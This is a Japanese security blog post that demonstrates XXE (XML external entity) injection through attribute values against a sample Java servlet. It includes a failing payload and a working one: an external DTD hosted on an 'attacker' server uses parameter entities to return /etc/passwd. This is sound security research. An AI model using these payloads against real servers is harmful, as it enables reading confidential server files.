以前、属性値でのXXE(Xml eXternal Entity)攻撃を試したのですが、やり方がよく判りませんでした。
最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。
Servletプログラム
以下のようなJava Servletプログラムをサーバに置きます。
import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import org.w3c.dom.*; import org.apache.xerces.parsers.*; import org.xml.sax.*; public class AttrTest1 extends HttpServlet { public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { // リクエストBODYをParseする DOMParser parser = new DOMParser(); parser.parse(new InputSource(request.getInputStream())); Document doc = parser.getDocument(); // data1要素を取り出す Element data1 = (Element)doc.getElementsByTagName("data1").item(0); // data1要素のattr1属性の値を取り出す String attr1 = data1.getAttribute("attr1"); // attr1属性値を出力する response.setContentType("text/plain; charset=UTF-8"); PrintWriter out = response.getWriter(); out.println("attr1 value: " + attr1); } catch (Exception e) { throw new RuntimeException(e); } } }
プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。
このプログラムは、以下のような入力・出力処理を行います。
【入力】<data1 attr1="111>222"></data1> 【出力】attr1 value: 111>222
ダメな攻撃方法
すぐに思いつくのは、下のようなXMLを食わせる攻撃です。
<?xml version="1.0"?> <!DOCTYPE data1 [ <!ENTITY pass SYSTEM "file:///etc/passwd"> ]> <data1 attr1="&pass;"></data1>
しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。
XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。
Well-formedness constraint: No External Entity References
Attribute values MUST NOT contain direct or indirect entity references to external entities.
Extensible Markup Language (XML) 1.0 (Fifth Edition)]
属性のデフォルト値を使う
じゃあどうすればいいんだという話です。
以前の日記(XMLをParseするアプリのセキュリティ(補足編)- T.Teradaの日記)で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。
まず、以下のような外部DTD(test1.dtd)を、攻撃者のサーバ上に用意します。
<!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>"> %p2;
1行目でパラメータ実体(%p1;)を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」(つまり/etc/passwdの中身)だと定義するためのパラメータ実体(%p2;)を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。
攻撃対象のServletプログラムには、下のXMLを食わせます。
<?xml version="1.0"?> <!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" > <data1 />
外部DTD(test1.dtd)により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1。
#ただまあこの方法が使えることは滅多にないと思いますが…
*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。